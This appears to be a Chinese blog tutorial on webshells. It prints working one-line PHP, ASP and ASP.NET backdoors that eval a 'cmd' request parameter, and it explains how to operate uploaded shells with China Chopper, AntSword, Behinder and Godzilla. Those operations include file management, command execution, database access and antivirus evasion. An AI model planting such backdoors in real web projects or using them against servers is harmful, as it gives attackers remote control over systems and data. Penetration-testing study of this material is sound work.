WebShell-爱代码爱编程
WebShell
解释
在计算机科学中,Shell 俗称壳(用来区别“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows 系统给的cmd.exe 或者Linux 下bash/sh 等,虽然这些系统的命令解释器不止一种。
WebShell 是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。WebShell 本质上是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等,也就是说WebShell 接受来自于Web 用的命令,然后在服务器端执行。
分类
大马
WebShell 也可以是大马,也就是网站木马。有一类WebShell 之所以叫大马,是因为与小马(一句话木马)区分开,并且代码量较大,但是功能丰富。同样,大马有很多脚本格式,其功能基本相同。渗透测试的每个团队都有自己的定制木马。
在大马中,我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。
小马
小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话
#ASP:
<%eval request("cmd")%>
#ASP.NET:
<%@ Page Language="Jscript"%>
<%eval(request.Item["cmd"],"unsafe");%>
#PHP:
<?php @eval($_REQUEST['cmd']);?>
JSP 和 jspx 的一句话木马比较复杂一些
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php 的一句话木马,密码就是[cmd]。
GetShell
GetShell ,顾名思义就是获取web 的过程。当然任意文件上传是GetShell 的主要方式,但并不是唯一途径
借用文件上传在web服务器端上传成功木马,可以使用getshell连接工具连接
常用的getshell连接工具
中国菜刀
github项目地址: https://github.com/raddyfiy/caidao-official-version
初始界面
在web服务器根目录下创建testshell.php 一句话木马文件
连接(空白界面右键添加)
脚本类型可选择: php/asp/aspx
连接成功
文件管理
在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等
虚拟终端
在中国菜刀下可以获得cmd 和 bash的命令行接口,可以执行相关命令。
数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例
<T>MYSQL</T> //数据库类型
<H>localhost</H> //数据地址
<U>root</U> //数据库用户
<P>root</P> //数据库密码
<L>utf-8</L> //数据库编码
还有一些功能笔者这里就不一一列举了,大家自行挖掘
一款比较老的工具的了,免杀过狗效果一般。
中国蚁剑
github项目地址
蚁剑源码: https://github.com/AntSwordProject/antSword
蚁剑加载器: https://github.com/AntSwordProject/AntSword-Loader
蚁剑使用手册: https://doc.u0u.us/zh-hans/getting_started/index.html
关于蚁剑的安装过程,可参考: https://blog.csdn.net/qq_36235492/article/details/85713821
初始界面
连接(右键添加数据)
文件管理
更多详细功能可以参考我前面给出的蚁剑使用手册
Behinder(冰蝎)
github项目地址: https://github.com/rebeyond/Behinder
软件安装包: https://github.com/rebeyond/Behinder/releases
运行需要java环境(jdk)
工具中已经给出了一些小马,直接拿来用即可
初始界面
连接(右键新增)
连接成功
Godzilla(哥斯拉)
github项目地址: https://github.com/BeichenDream/Godzilla
软件安装包: https://github.com/BeichenDream/Godzilla/releases
运行需要java环境(jdk)
初始界面
在管理里面可以生成木马,
密码和密钥都需要设定
有效载荷:
JavaDynamicPayload -> jre5及以上
CShapDynamicPayload -> .net2.0及以上
PhpDynamicPayload -> php5.0及以上
payload以及加密器支持
哥斯拉内置了3种Payload以及6种加密器,6种支持脚本后缀,20个内置插件
- JavaDynamicPayload
- JAVA_AES_BASE64
- jsp
- jspx
- JAVA_AES_RAW
- jsp
- jspx
- JAVA_AES_BASE64
- CShapDynamicPayload
- CSHAP_AES_BASE64
- aspx
- asmx
- ashx
- JAVA_AES_RAW
- aspx
- asmx
- ashx
- CSHAP_AES_BASE64
- PhpDynamicPayload
- PHP_XOR_BASE64
- php
- PHP_XOR_RAW
- php
- PHP_XOR_BASE64
这里我们做PHP的马,选择以下配置即可
值作成功之后将其放置到web服务器下,之后在初始界面选择目标--添加
连接成功
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_43252204/article/details/111033698